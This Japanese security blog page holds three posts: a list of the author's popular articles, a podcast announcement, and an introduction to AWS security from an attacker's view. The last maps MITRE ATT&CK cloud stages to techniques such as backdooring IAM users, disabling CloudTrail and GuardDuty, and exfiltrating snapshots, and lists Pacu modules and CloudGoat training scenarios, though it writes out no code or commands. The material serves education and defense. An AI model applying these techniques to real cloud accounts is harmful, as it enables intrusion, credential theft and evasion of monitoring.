blog of morioka12

morioka12のブログ (Security Blog)

学生中に書いて反響が良かったブログ記事集(ベスト5)

1. 始めに

こんにちは、morioka12 です。

本稿では、morioka12 が学生中に書いて反響が良かったブログ記事のベスト5をまとめて紹介します。


2. Best 5

1位: セキュリティ視点からの JWT 入門

この記事は、1年生の時にサークル(IPFactory)のアドベントカレンダーの担当で書いた記事で、JWT (JSON Web Token)のセキュリティ周りについて学習した際のメモをブログ化してアウトプットしたものになります。

主に、JWT について学習しようとしている学生や、開発物に JWT を取り入れようとしている開発者を想定読者として、ブログを書きました。

記事を公開してから3年ほど経ちましたが、今でも Google 検索や CTF の Writeup の記事などから多くのアクセスがきています。

scgajge12.hatenablog.com

コメント(一部)

  • ちょうど最近JWTの話になったので読んでみたらすごいまとめだった (link)
  • セキュリティリスクまで含んだ良いまとめだった (link)
  • JWTの概要、リスク(攻撃手法)、対策方法がわかりやすくまとめられている良記事でした (link)
  • 攻撃観点で説明もらえるとなぜ提供側がそういう実装入れないとダメか分かりやすくて素敵 (link)
  • 面白いというか、JWTについて非常に良くまとめらていて、分かりやすい (link)

ツイート

https://twitter.com/scgajge12/status/1336864276347174912


2位: AWS Lambdaにおける脆弱性攻撃と対策

この記事は、2年生の時に脆弱性診断などの業務をするセキュリティエンジニアとして長期インターンシップの勤務先で書いた記事で、AWS のサービスに関するセキュリティネタを書こうとした際にサーバーレスで有名な AWS Lambda で書いたものになります。

主に、普段から Lambda などの AWS サービスを扱っている開発者を想定読者として、ブログを書きました。

また、AWS Lambda に関するセキュリティネタで、わかりやすいスライド形式にまとめて Security-JAWS で登壇したスライドも現在「5.4k」アクセスほどあり、ブログと合わせて多くの方に見てもらえました。

blog.flatt.tech

AWS Lambdaにおけるセキュリティリスクと対策 - Speaker Deck

コメント(一部)

  • Lambdaのリスクや対策などが分かりやすくまとまっているすごく良い資料 。(link)
  • AWS Lambdaで実装する前に一読しておくと良さそうな記事。 (link)
  • どれも具体的で、非常に参考になりますね。(link)
  • 良いお勉強になりました (link)
  • Lambdaの脆弱性あまり考えたことなった、ありがたい記事💯 (link)

ツイート

https://twitter.com/scgajge12/status/1503921532837371904


3位: Amazon S3の脆弱な利用によるセキュリティリスクと対策

この記事は、3年生の時に脆弱性診断などの業務をするセキュリティエンジニアとして長期インターンシップの勤務先で書いた記事で、AWS のサービスに関するセキュリティネタを書こうとした際に設定不備が発生しやすい Amazon S3 で書いたものになります。

主に、普段から S3 などの AWS サービスを扱っている開発者を想定読者として、ブログを書きました。

blog.flatt.tech

コメント(一部)

  • S3の設定不備に起因する脆弱性についてめっちゃ詳しくまとまっている記事。 (link)
  • Amazon S3の説明から主なセキュリティ設定の不備とその対策を網羅していて保存版 (link)
  • 事例についてと攻撃のユースケースと対策が詳細に書かれていて、めちゃ良記事でした。 (link)
  • 大事。S3は気軽に作れるし、作るシーンが多いぶんやらかしがち。 (link)
  • 超大作だ (link)

ツイート

https://twitter.com/scgajge12/status/1551749145978757121


4位: バグバウンティ入門(始め方)

この記事は、4年生の時に書いた記事で、身近にバグバウンティに興味を持っている方がいたため、せっかくなので今までの経験を元にブログとしてアウトプットしたものになります。

主に、バグバウンティや脆弱性調査に興味のある方や、CTF Player・HTB Player などを想定読者として、ブログを書きました。

scgajge12.hatenablog.com

コメント(一部)

  • めちゃめちゃ詳細に書かれていてしゅごい。。。 (link)
  • バグバウンティの教科書のような記事ですごい。 (link)
  • 今のバグバウンティについてよくまとまっているかんじ。(link)

ツイート

https://twitter.com/scgajge12/status/1706118989448098079


5位: Amazon EC2 におけるセキュリティ(脆弱性)事例

この記事は、4年生の時に書いた記事で、Security-JAWS DAYS で「EC2 × SSRF」を作問のテーマに担当したため、その際に紹介した事例等をまとめてブログとしてアウトプットしたものになります。

主に、普段から EC2 などの AWS サービスを扱っている開発者を想定読者として、ブログを書きました。

scgajge12.hatenablog.com

コメント(一部)

  • 一緒にEC2にまつわる脆弱性の事例集なども公開されていて、なかなか読みごたえがありますね。面白い。 (link)
  • EC2に絞った事例まとめ初めて見た!これは社内で査読会やりたいレベルですねー (link)

ツイート

https://twitter.com/scgajge12/status/1697066766369972497


3. その他

ランキング外

バグハント入門 (OSS編)

scgajge12.hatenablog.com

オフェンシブ視点による Cloud Security 入門 ~AWS 編~

scgajge12.hatenablog.com

新卒の学生によるセキュリティエンジニア志望の就活話

コメント(一部)

  • 「ほんとうに社会人ではない...?」と疑うくらいいい記事だった。過去の自分に記事のURLを送り付けたいレベル。 (link)
  • これは良い記事。自分も同じようなところから情報集めて就活してたの思い出した。 (link)
  • セキュリティ業界に就職したい学生は目を通しておくと良いと思う。 (link)
  • セキュリティに特化した学生を獲得したい組織の皆さんはこういうのは参考として読んでおくべきかなあと思います。 (link)

scgajge12.hatenablog.com

バグバウンティにおける JavaScript の静的解析と動的解析まとめ

scgajge12.hatenablog.com


ブログ一覧

b.hatena.ne.jp

scgajge12.github.io


4. 終わりに

本稿では、morioka12 が学生中に書いて反響が良かったブログ記事のベスト5をまとめて紹介しました。

主に Web Security や Cloud Security, Bug Bounty などのテーマにブログを書いていましたが、ブログを通して僕のことを認知した方も多くいらっしゃったかと思います。ありがとうございました。

2024年4月から新社会人として働き始めますが、社会人になっても定期的に何かアウトプットできればと思います。

今後ともどうぞよろしくお願いいたします。


ここまでお読みいただきありがとうございました。

ポッドキャスト「Bug Bounty JP Podcast」始めました

1. 始めに

こんにちは、morioka12 です。

本稿では、ポッドキャスト「Bug Bounty JP Podcast (BBJP_Podcast)」について紹介します。


2. 概要

ポッドキャスト「Bug Bounty JP Podcast」とは、バグバウンティや OSS などを対象にバグハントすることを趣味とするメンバーによるセキュリティ雑談トークのポッドキャストです。

主なトークテーマは、以下のようになっています。

  • 最近面白かった脆弱性や CVE について
  • バグバウンティについて
  • トレンドのセキュリティネタについて
  • スピーカーメンバーの取り組みなどについて
  • (Survey の回答)

今後は、月一くらいの定期度で収録&公開していく予定です。 (そのうちゲストも招く予定)

公開した際は、以下のようにハッシュタグ「#BBJP_Podcast」でポスト(ツイート)します。


Notion Web Page

ポッドキャストの紹介ページです。

bugbountyjppodcast.notion.site


Google Form (Survey)

BBJP_Podcast で話して欲しいテーマや聞きたいことなどを募集しています。

各回の最後の方に毎回いくつか取り上げるようにします。

forms.gle


3. Podcast

トークの概要や会話中のリンク等は、各回の概要欄をご覧ください。

Spotify for Podcasters

Spotify


4. 終わりに

本稿では、ポッドキャスト「Bug Bounty JP Podcast」について紹介しました。

ぜひ、作業中や脆弱性探し中(Bug Hunting)などに気軽にお聞きください。

ここまでお読みいただきありがとうございました。

オフェンシブ視点による Cloud Security 入門 ~AWS 編~

1. 始めに

こんにちは、morioka12 です。

本稿では、AWS 環境における攻撃者のオフェンシブな視点で Cloud Security の入門として紹介します。


免責事項

本稿の内容は、セキュリティに関する知見を広く共有する目的で執筆されており、悪用行為を推奨するものではありません。


想定読者


2. クラウドにおける脅威

クラウドの重大セキュリティ脅威 11の悪質な脅威

クラウドの重大セキュリティ脅威 11の悪質な脅威」とは、CSA (Cloud Security Alliance)が公開している資料で、クラウド環境における特に顕著な11の脅威、リスク、脆弱性についてまとめられています。

2022年のランキングは、以下のようになっています。

  1. 不十分な ID、資格情報およびアクセスとキーの管理
  2. 安全でないインターフェースや API
  3. 設定ミスと不適切な変更管理
  4. クラウドセキュリティのアーキテクチャと戦略の欠如
  5. 安全でないソフトウェア開発
  6. 安全でないサードパーティのリソース
  7. システムの脆弱性
  8. 偶発的なクラウドデータの漏洩
  9. サーバーレスやコンテナのワークロードの構成ミスや悪用
  10. 組織的な犯罪、ハッカーと APT グループ
  11. クラウドストレージのデータの漏洩

詳しくは、以下をご覧ください。

https://www.cloudsecurityalliance.jp/site/wp-content/uploads/2022/11/topthreat_morozumi_20221117.pdf


また、CSA は「サーバレスアプリケーションのための最も重大な 12 のリスク(2019年)」という資料も公開していて、以下がそのランキングになります。

  1. 関数イベント・データインジェクション
  2. 認証の不備
  3. セキュアでないサーバレス・デプロイの構成
  4. 関数への過剰な権限と役割の不備
  5. 不適切な機能のモニタリングとロギング
  6. セキュアでないサードパーティ依存
  7. セキュアでないアプリケーションの秘匿領域
  8. サービス拒否およびリソースの枯渇
  9. サーバーレス機能実行フローの操作
  10. 不適切な例外処理と詳細なエラーメッセージ
  11. 破棄された関数、クラウドリソースおよびイベントトリガー
  12. 交差実行データの永続性

詳しくは、以下をご覧ください。

https://www.cloudsecurityalliance.jp/site/wp-content/uploads/2021/01/The-12-Most-Critical-Risks-for-Serverless-Applications_J.pdf


クラウドサービス利用に関連するリスク Top 10

クラウドサービス利用に関連するリスク Top 10」とは、Assured の調べによる SaaS などのクラウドサービスの利用にあたって実際に発生したことのある事例トップ10についてまとめられています。

2023年のランキングは、以下のようになっていました。

  1. 社内限定公開のつもりが社外からもアクセス可能な設定になっていた(アクセス権限の誤設定)
  2. 自社で利用しているクラウドサービスがサイバー攻撃を受け、自社の機密情報も漏えいの可能性があった
  3. 機密情報が保存されたクラウドサービスが利用可能なスマートフォン等を紛失し、情報漏えいの可能性があった
  4. 退職済みの元従業員アカウント削除ができていなかった
  5. シャドー IT の存在が判明した
  6. クラウドサービスに機密情報が意図せず保存されていたことが判明した
  7. クラウドサービスを利用して自社で提供しているサービスが停止し、自社の顧客に影響が及んだ
  8. 自社で利用しているクラウドサービスが障害等によりサービスが停止し、業務遂行ができなくなった
  9. 自社で利用しているクラウドサービスの運営元を装った不審な連絡(メールや電話等)を受けた
  10. 多要素認証用のスマートフォン等を紛失してログインができなくなった

詳しくは、以下をご覧ください。

assured.jp


AWS セキュリティ構成ミス Top 10

構成ミスの割合が最も高い AWS サービスの Top 10」とは、トレンドマイクロが2021年に公開している AWS に関するセキュリティの構成ミスのランキングになります。

Rank Service Rate
1 AWS CloudFormation 66.20%
2 AWS CloudTrail 33.14%
3 Amazon EBS 30.84%
4 Amazon S3 30.73%
5 AWS Lambda 27.70%
6 AWS Config 18.37%
7 Amazon EC2 16.88%
8 Amazon SNS 16.57%
9 AWS IAM 11.31%
10 AWS Trusted Actvisor 0%


また、トレンドマイクロが2022年に公開している「"3大クラウド"での設定ミスランキング」のトップ3は以下にようになります。

Rank Service Rate
1 AWS CloudFormation 44%
2 Amazon S3 35%
3 Amazon EBS 29%

詳しくは、以下をご覧ください。

www.trendmicro.com

www.itmedia.co.jp


3. AWS 環境における攻撃者の観点

攻撃者は AWS 環境に対して、主に以下のような情報をターゲットとして得ることができるかを試みます。

  • AWS に関する認証情報(クレデンシャル)
    • IAM のアクセスキーやシークレットキーなど
  • AWS 環境内に保存されている機微な情報
    • 外部サービスの API Key や DB などの認証情報
    • 顧客や社員の個人情報
    • 企業に関する機微な内部情報
  • その他
    • ログファイルやバックアップファイル
    • アプリケーションに関する情報

これらの情報を得る際は、主に AWS 環境の「外部から」と「内部から」の2視点から情報を得れるかを考えます。


3.1 AWS 環境の外部からの観点

AWS 環境の外部からターゲットとなる情報が得れるかは、主に以下のような観点があります。

  • Web アプリケーションやエンドポイントに対して脆弱性攻撃による情報の取得
  • AWS サービスの設定不備による不正な操作や情報の取得
  • GitHub などの外部サービスに保存されたリソースから認証情報の取得
  • CI/CD パイプラインを悪用した攻撃による認証情報の取得や侵害
  • フィッシングやマルウェア感染によるエンジニアから認証情報の取得


3.2 AWS 環境の内部からの観点

AWS 環境に侵入できた後の内部からターゲットとなる情報が得れるかは、主に以下のような観点があります。

  • 許可された AWS サービスやリソースから情報の取得や不正な操作
  • 本番環境用のリソース以外のステージング環境用のリソースなどから情報の取得
  • IAM の権限昇格などを行うことによるさらなる侵害


これらのように、AWS 環境におけるオフェンシブ視点では、「侵入前の外部面」と「侵入後の内部面」の2点でセキュリティを考える必要があります。

また、保守側のディフェンス視点でも同様に外部と内部の2点でセキュリティ対策を行う必要もあります。


4. MITRE ATT&CK Framework for Cloud (IaaS)

MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge)とは、サイバーセキュリティの専門家や研究者が、攻撃者の戦術、技術、および手順を理解、模倣、そして防御するための知識ベースおよびフレームワークです。

その中で、特にクラウドサービスに対する攻撃手法のテクニックも公開されていて、AWS が該当する IaaS の項目も存在します。

実際に、AWS 環境を狙った攻撃者は、次のような11段階で侵入(侵害)を行なっていきます。


4.1 初期アクセス (Initial Access)

初期アクセスの段階では、AWS 環境に侵入するための初期段階として外部から認証情報などを得ることを行います。

例えば、以下のような手法が該当します。

  • 脆弱な Web アプリケーションやエンドポイントに対して外部から脆弱性攻撃を行う
    • EC2 や ECS 上にある Web アプリケーションに対して SSRF 攻撃による認証情報の取得
    • エンドポイントから Lambda 関数に対して OS Command Injection などの脆弱性攻撃による認証情報の取得
  • AWS サービスやリソースの設定不備による情報の取得
    • 公開を意図していない S3 や EBS などからの機微な情報の取得
  • GitHub などの外部サービスからハードコードされた認証情報の取得
    • .git やログファイルなどにも認証情報が含まれていないか調査する
  • フィッシングやマルウェア感染による AWS アカウントの認証情報の取得

EC2 や Lambda で動くアプリケーションに対しての脆弱性攻撃や S3 に関する設定不備などは、以下をご覧ください。

scgajge12.hatenablog.com

blog.flatt.tech

blog.flatt.tech

また、AWS アカウントを狙ったフィッシングに関しては、以下をご覧ください。

scgajge12.hatenablog.com


4.2 実行 (Execution)

実行の段階では、「1. 初期アクセス」で取得した認証情報を元に、攻撃者が侵入した AWS 環境内から悪意のある操作を行います。

例えば、以下のような手法が該当します。

  • 取得した認証情報(IAM)の有効な権限を列挙して、許可された AWS サービスやリソースを操作する
    • 全てのリージョンから列挙する
  • 新しい攻撃者用の IAM ユーザーを作成する
  • EC2 インスタンスや Lambda 関数などを新しく作成する
    • 悪意あるコードを実行させたり、暗号通貨のマイニングを実行する
  • S3 バケットを作成したり、乗っ取ったりでマルウェアをアップロードする
  • 非公開の API にアクセスする

入手した IAM の有効な権限を列挙する場合は、enumerate-iam などを活用することで効率的に特定することが可能です。


4.3 永続化 (Persistence)

永続化の段階では、攻撃者が侵入した AWS 環境内からアクセス可能な状態を維持できるように行います。

例えば、以下のような手法が該当します。

  • 新しい攻撃者用の認証情報を作成する
    • SSH Key, API Key, IAM, アクセスキー
  • IAM の認証に関する設定を変更する
    • 取得した認証情報の IAM に権限の強いグループ(もしくは、ポリシーやロール)に追加する
    • MFA を無効化したり、独自の MFA を追加する
  • EC2 のセキュリティグループなどの設定を変更する
  • ECR や Lambda などに悪意あるバックドアをアップロードする
  • RDS のインスタンスやスナップショットを公開したり、DB 内に管理者ユーザーを作成する
  • EFS のリソースポリシーなどを変更して、アクセスポイントを作成する
  • CloudFormation のテンプレートが S3 バケットにアップロードされた時に悪意ある Lambda 関数をトリガーするように設定する


4.4 権限昇格 (Privilege Escalation)

権限昇格の段階では、攻撃者が取得した認証情報をもとに、さらに強いレベルの権限を取得するように行います。

例えば、以下のような手法が該当します。

  • 権限昇格した上でさらに強いロールやポリシーを追加してより強い権限に昇格する
  • Lambda 関数を作成してロールを渡して、それを呼び出すことで権限昇格する
  • CloudFormation にロールを渡して、テンプレートを作成することで権限昇格する
  • Data Pipeline にロールを渡して、パイプラインを作成・更新することで権限昇格する
  • Control Tower の設定を変更する

IAM の権限昇格についての詳細は、以下をご覧ください。

github.com


4.5 防御回避 (Defense Evasion)

防御回避の段階では、攻撃者が AWS 環境内での不正な操作を検知されないように行います。

例えば、以下のような手法が該当します。

  • CloudWatch や CloudTrail などの監視サービスの機能を停止や無効化する
  • GuardDuty に対して攻撃者の IP アドレスをホワイトリストに登録する
  • ファイアウォールなどのネットワーク設定を変更する
  • 新しい VPN エンドポイントを作成する
  • 攻撃者の記録が残るログファイルを削除する


4.6 認証情報アクセス (Credential Access)

認証情報アクセスの段階では、攻撃者が侵入した AWS 環境内から認証情報を管理するリソースから機微な情報の取得を行います。

例えば、以下のような手法が該当します。

  • AWS の Secrets Manager や DynamoDB などからパスワードや API Key 、その他の認証情報などを取得する
  • EC2 のインスタンス内部からメタデータサービスにアクセスして、認証情報を取得する
  • さらにアクセス可能なソースコードや Terraform などのファイルからハードコードされた認証情報を取得する


4.7 探索 (Discovery)

探索の段階では、攻撃者が侵入した AWS 環境内から権限昇格や入手したアカウントを元に、アクセス可能なサービスやリソース、ユーザーなどの列挙を行います。

例えば、以下のような手法が該当します。

  • 稼働している EC2 などのインスタンスを列挙する
  • S3 バケットや EBS などのストレージを列挙する
  • IAM のユーザーやロールなどを列挙する
  • CloudTrail のイベント履歴や CloudWatch のログを列挙する
  • AWS WAF や GuardDuty などのセキュリティサービスを列挙する


4.8 水平展開 (Lateral Movement)

水平展開の段階では、攻撃者が侵入した AWS 環境内からアクセス可能なクラウド内の VM にアクセスを行います。

例えば、以下のような手法が該当します。

  • AWS EC2 Instance Connect や AWS System Manager などに対話型で接続して情報を取得する


4.9 収集 (Collection)

収集の段階では、攻撃者が侵入した AWS 環境内で発見できた情報を収集して、まとめ作業を行います。

例えば、以下のような手法が該当します。

  • S3 バケットや EBS などのストレージサービスから得れる機微な情報を収集する
  • RDS や DynamoDB などのデータベースサービスから得れる機微な情報を収集する
  • AWS Inspector のレポートから得れる脆弱性情報の収集する


4.10 持ち出し (Exfiltration)

持ち出しの段階では、攻撃者が入手できた機微な情報を外部に送って保存を行います。

主に以下のよう情報やファイルを外部に持ち出します。

  • AWS 環境内で入手した認証情報
  • ストレージ内の情報
  • データベース内の情報
  • ログファイル
  • バックアップファイル
  • アーカイブされたファイル

基本的に「9. 収集」で取得できた個人情報や企業の機微な情報をダウンロードしたりして、攻撃者の手元や外部のクラウド環境に保存するようにします。


4.11 影響 (Impact)

影響の段階では、最終的に攻撃者が侵入した AWS 環境内で企業に対する侵害を与えたり、さらなる悪用を行います。

例えば、以下のような手法が該当します。

  • AWS 環境内のデータやリソースなどを改ざん・削除する
  • 企業が提供するサービスを停止させる
  • AWS 環境内のリソースを悪用して、他の脆弱性攻撃やフィッシング、暗号通貨マイニングなどを行う
  • ランサムウェアのように取得した機密データをもとに、企業に対して金銭を要求(脅迫)する


MITRE ATT&CK Framework for Cloud (IaaS)」の詳細は、以下をご覧ください。

attack.mitre.org


5. ツール

AWS Environment (Offensive)


Pacu

PacuRhino Security Labs が提供する AWS 環境への侵入・侵害にとてもおすすめなツールです。

様々な情報収集や攻撃用のモジュールが用意されていて、最も人気なモジュールは以下のようです。

  • confirm_permissions
    • 現在のアカウントで確認された権限のリストを列挙する
  • privesc_scan
    • 20 種類以上の異なる権限昇格の方法を悪用して、さらなるアクセス権を取得する
  • cloudtrail_csv_injection
    • CloudTrail の CSV エクスポートに悪意のある数式を注入する
  • disrupt_monitoring
    • GuardDuty・CloudTrail・Config・CloudWatch・VPC をターゲットにして、様々な監視およびログ機能を中断する
  • backdoor_users_[keys/passwords]
    • 他の IAM ユーザーのアカウントに認証情報を追加して、バックドアを仕掛ける
  • sysman_ec2_rce
    • SSM を悪用して、EC2 インスタンス上で root (SYSTEM) レベルの不正なコード実行(RCE)を試みる
  • backdoor_ec2_sec_groups
    • EC2 のセキュリティ・グループにバックドアを仕掛ける


また、先ほどの MITRE ATT&CK の段階に各モジュールを照らし合わせた場合は、主に以下のようなモジュールがあります。

2 実行 (Execution) (クリックで表示)

  • api_gateway__create_api_keys
  • ebs__explore_snapshots
    • EBS ボリューム(スナップショット)を復元して、選択した EC2 インスタンスにアタッチする
  • ec2__startup_shell_script
  • ecs__backdoor_task_def
    • ECS のタスク定義をバックドアして認証情報を取得する
  • lightsail__download_ssh_keys
    • Lightsails のデフォルトの SSH キーペアをダウンロードする
  • lightsail__generate_ssh_keys
    • Lightsail で利用可能なリージョンの SSH キーを作成する
  • lightsail__generate_temp_access
  • systemsmanager__rce_ec2

3 永続化 (Persistence) (クリックで表示)

  • ec2__backdoor_ec2_sec_groups
    • EC2 のセキュリティ グループにルールを追加して、指定の IP アドレスからのアクセスを許可する
  • iam__backdoor_assume_role
    • ユーザー アカウントとアカウント内の 1 つ以上のロールの間に信頼関係を作成して assume role を許可する
  • iam__backdoor_users_keys
    • アカウント内の他のユーザーに AWS API キーを追加する
  • iam__backdoor_users_password
    • アカウント内の他のユーザーにパスワードを追加する
  • lambda__backdoor_new_roles
    • 新しい IAM ロールをバックドアするための Lambda 関数と CloudWatch Events ルールを作成する
  • lambda__backdoor_new_sec_groups
    • 新しい EC2 のセキュリティ グループをバックドアするための Lambda 関数と CloudWatch Events ルールを作成する
  • lambda__backdoor_new_users
    • 新しい IAM ユーザーをバックドアするための Lambda 関数と CloudWatch Events ルールを作成する

4 権限昇格 (Privilege Escalation) (クリックで表示)

  • cfn__resource_injection
    • CloudFormation のテンプレートでのリソース インジェクション
  • iam__privesc_scan
    • 権限の設定ミスをスキャンして、権限昇格が可能な場所を特定する

5 防御回避 (Defense Evasion) (クリックで表示)

  • Cloudtrail__download_event_history
    • CloudTrail イベントの履歴を JSON ファイルでダウンロードする
  • Cloudwatch__download_logs
    • CloudWatch のログを保存して、セッション ダウンロード フォルダーにダウンロードする
  • detection__enum_services
    • 監視サービスを列挙する
  • detection__disruption
    • 様々な監視サービスを無効化、削除、または最小化する
  • elb__enum_logging
    • ログが無効になっている ELB のリストを収集する
  • guardduty__whitelist_ip
    • GuardDuty の信頼できる IP リストに追加して、これらの IP に対するセキュリティ アラートを基本的に無効する
  • waf__enum
    • ルール グループ・ルール・ルールの一致セットを含む WAF を列挙する

6 認証情報アクセス (Credential Access) (クリックで表示)

  • iam__enum_roles
    • アカウント ID を指定して、別の AWS アカウントの IAM ロールを列挙する
  • iam__enum_users
    • アカウント ID を指定して、別の AWS アカウントの IAM ユーザーを列挙する

7 探索 (Discovery) (クリックで表示)

  • acm__enum
    • AWS Certificate Manager に関する情報を列挙する
  • enum__apigateway
  • aws__enum_account
    • アカウント自体に関するデータを列挙する
  • aws__enum_spend
    • サービスごとにアカウントの支出を列挙する
  • cloudformation__download_data
    • CloudFormation スタックからすべてのテンプレート・パラメータ・エクスポートをダウンロードする
  • codebuild__enum
    • 機密データを探しながら CodeBuild のビルドとプロジェクトを列挙する
  • dynamodb__enum
    • DynamoDB からデータを列挙する
  • ebs__enum_volumes_snapshots
    • EBS ボリュームとスナップショットを列挙して、暗号化せずにログに記録する
  • ec2__check_termination_protection
  • ec2__download_userdata
    • EC2 インスタンス/起動テンプレートからユーザー データをダウンロードする
  • ec2__enum
    • EC2 に関連する情報を大量に列挙する
  • ecr__enum
  • ecs__enum
    • ECS に関する情報を列挙する
  • ecs__enum_task_def
    • ECS タスクからタスク定義を解析する
  • eks_enum
    • EKS リソースを列挙する
  • enum__secrets
    • AWS Secrets Manager と AWS パラメータ ストアからシークレットを列挙してダンプする
  • glue__enum
    • AWS Glue からのすべての関連データ(クローラ、データベース、開発エンドポイント、ジョブなど)を列挙する
  • guardduty__list_accounts
    • GuardDuty アカウントにリンクされているアカウントをリストアップする
  • guardduty__list_findings
    • GuardDuty の検出結果をリストアップする
  • iam__bruteforce_permissions
  • iam__detect_honeytokens
    • アクティブなキーのセットがハニートークンであることがわかっているかどうかを確認する
  • iam__enum_action_query
    • ユーザーとロールの IAM 権限をクエリして、それらの権限を持つリソースを列挙する
  • iam__enum_permissions
    • IAM API を使用して、アカウント内のユーザーやロールに対する IAM 権限の確認済みリストを列挙する
  • iam__enum_users_roles_policies_groups
    • アカウント内のすべてのユーザー・ロール・顧客管理ポリシー・グループの情報の4つを列挙する
  • iam__get_credential_report
    • IAM 認証情報レポートを生成してダウンロードする
  • inspector__get_reports
    • Amazon Inspector のレポートを調査する
  • lambda__enum
    • AWS Lambda からのデータを列挙する
  • lightsail__enum
    • Lightsail に関連する共通データをキャプチャする
  • organizations__enum
    • アカウントやポリシーなどのさまざまな組織リソースのリストを列挙する
  • rds_enum
  • rds__enum_snapshots
    • RDS スナップショットを列挙して、暗号化せずにログに記録する
  • route53__enum
    • Route53 ホストゾーンを列挙して、ログ構成をクエリする
  • systemsmanager__download_parameters
    • SSM からすべてのパラメータと復号化された値をダウンロードする
  • transfer_family__enum
    • AWS Transfer Family SFTP/FTP および FTPS サーバーを列挙する

8 水平展開 (Lateral Movement) (クリックで表示)

  • Cloudtrail__csv_injection
    • 悪意のある数式を CloudTrail イベントの履歴に挿入する
  • organizations__assume_role
    • AWS アカウントのリストとロールを全て収集する
  • vpc__enum_ternate_movement
    • DirectConnect・VPNVPC ピアリングを探して侵害可能な場所を提示する

10 持ち出し (Exfiltration) (クリックで表示)

  • ebs__download_snapshots
    • EBS のスナップショットをダウンロードする
  • rds__explore_snapshots
    • RDS インスタンスのスナップショットを作成して、外部で復元することで情報にアクセスする
  • s3__download_bucket
    • S3 バケットからファイルを列挙してダウンロードする


詳しくは、以下をご覧ください。

rhinosecuritylabs.com

github.com


AWS IAM

  • SkyArk
  • PMapper
    • AWS IAM が許可された権限を素早くチェックできるツール
  • enumerate-iam
    • AWS IAM に関連付いたアクセス権限を列挙するツール


Amazon S3


Amaozn EBS

  • Dufflebag
    • 公開されている EBS のスナップショットを検索して、シークレットな情報を列挙するツール


リポジトリやファイル

  • gitleaks
    • Git リポジトリ内のパスワードや API Key、トークンなどのハードコードされたシークレットを検出する
  • Whispers
    • ハードコードされた資格情報や危険な機能を検索するツール


AWS Environment (Assessment)


クラウドに関するツールの詳細は、以下をご覧ください。

github.com

github.com

github.com


6. トレーニングコンテンツ


CloudGoat

先ほどツールで紹介した Pacu と同じ提供元(Rhino Security Labs)である「CloudGoat」は、以下のようなシナリオが用意されています。

  • vulnerable_lambda
    • Lambda 関数に対して脆弱性攻撃を行い、取得した情報を使って Secrets Manager からシークレットな情報を取得する
  • vulnerable_cognito
    • Cognito の設定不備を悪用して、Cognito Identity Pool の認証情報を取得する
  • iam_privesc_by_key_rotation
    • 安全でない IAM の権限を悪用して、権限昇格を行なって Secrets Manager からシークレットな情報を取得する
  • iam_privesc_by_rollback
    • 不適切な IAM のポリシーバージョンから完全な管理者権限に権限昇格する
  • lambda_privesc
    • Lambda 関数を悪用することで、ロールを渡して完全な管理者権限に権限昇格する
  • cloud_breach_s3
    • リバースプロキシサーバーを悪用して EC2 のメタデータサービスから認証情報を取得して、S3 バケットからシークレットな情報を取得する
  • iam_privesc_by_attachment
    • 取得した IAM を活用して 強い権限を持つ EC2 インスタンスを作成して、インスタンスにアクセスして完全な管理者権限に権限昇格する
  • ec2_ssrf
    • EC2 上にある Web アプリケーションに対して脆弱性攻撃を行い、メタデータサービスから認証情報を取得して S3 バケットからシークレットな情報を取得する
  • ecs_takeover
    • ECS の設定不備を悪用して、コンテナに侵入して認証情報を取得する
  • rce_web_app
    • Web アプリケーションに対して脆弱性攻撃を行い、機密ファイルから認証情報を取得して RDS にアクセスすることでシークレットな情報を取得する
  • codebuild_secrets
    • CodeBuild のプロジェクトから認証情報を取得して、RDS のスナップショットを悪用して DB 内からシークレットな情報を取得する
  • cicd
    • EC2 インスタンスの設定を改ざんして権限昇格することで、最終的に CodeCommit などから新しい認証情報を取得する
  • detection_evasion
  • ecs_efs_attack
    • ECS のコンテナにバックドアを仕込み、メタデータサービスから認証情報を取得して EC2 の設定を改ざんすることでサブネットからマウントされたオープンな EFS からシークレットな情報を取得する
  • glue_privesc
    • Web アプリケーションに対して脆弱性攻撃を行い、認証情報を取得してリバースシェルをアップロードして Glue のジョブを作成することでシークレットな情報を取得する

詳しくは、以下をご覧ください。

github.com


AWSGoat

また、INE が提供する「AWSGoat」は、「OWASP TOP 10 2021」の観点を取り入れていて、主に以下のような脆弱性と設定不備が用意されています。

  • XSS
  • SQL Injection
  • Insecure Direct Object Reference (IDOR)
  • Server Side Request Forgery (SSRF) on Lambda Environment
  • Sensitive Data Exposure and Password Reset
  • S3 Misconfigurations
  • IAM Privilege Escalations
  • ECS Container Breakout

詳しくは、以下をご覧ください。

github.com


過去の Cloud に関する問題まとめ

scgajge12.hatenablog.com

scgajge12.hatenablog.com

scgajge12.hatenablog.com

scgajge12.hatenablog.com


7. インシデント事例

AWS などのパブリッククラウドで発生したインシデント事例は、以下の GitHub リポジトリや Web サイトで公開されています。

公開されている事例は少ないですが、2023年に起きたインシデントは、主に以下のような事例がありました。

詳しくは、以下をご覧ください。

github.com

www.breaches.cloud

github.com


検証事例

AWS HoneyToken HoneyPot

この検証では、Administrator Access ポリシー付きのアクセスキーをトップページや Pastebin で公開して、攻撃者が AWS 環境に侵入する際の行動ログを観察したものになります。

アクセスキーを取得した攻撃者は、例えば以下のような行動をとったそうです。

  • IAM, EC2, RDS, S3, Route53, SES などの情報収集
  • 大量の API コール
  • EC2 インスタンスの作成・削除
  • S3 バケットの作成
  • IAM ユーザーの作成やログインプロファイルの作成・更新

とても面白い攻撃者の行動分析となっているため、詳しくはぜひご覧ください。

speakerdeck.com


2023 Honeypotting in the Cloud Report

この検証では、クラウド内で誤って構成されたリソースをシミュレートするハニーポットを複数に設定して、悪意のある攻撃者がどういう行動をするかを観察したものになります。

攻撃者の餌となる AWS のアクセスキーをハニーポットに設定して公開した箇所は、以下の9箇所です。

  • AWS S3 Bucket
  • GitHub
  • Docker Hub
  • Elastic Container Registry
  • Elasticsearch
  • HTTP
  • Elastic Block Storage
  • Redis
  • SSH

調査結果から、公開してからアクセスキーが発見されるまでの時間は、以下のようだったようです。

  • GitHub: 2分
  • HTTP: 3分
  • SSH: 4分
  • S3: 1時間

詳しくは、以下をご覧ください。

orca.security


Public Access Key 2023

この検証では、意図的に AWS のアクセスキーとシークレットキーを GitHub に公開した際の実際のログを観測したものになります。

タイムラインは、以下のようだったようです。

時刻 イベント
3/23 08:51:00 GitHub に Key を Push
3/23 08:51:50 35.83.131.170 から AWS GetCallerIdentity の1回目の使用
3/23 08:53:07 iam:AttachUserPolicy-AWSCompromizedKeyQuarantineV2 がユーザーに適用
3/23 08:53:57 AWS サポートから電子メール通知
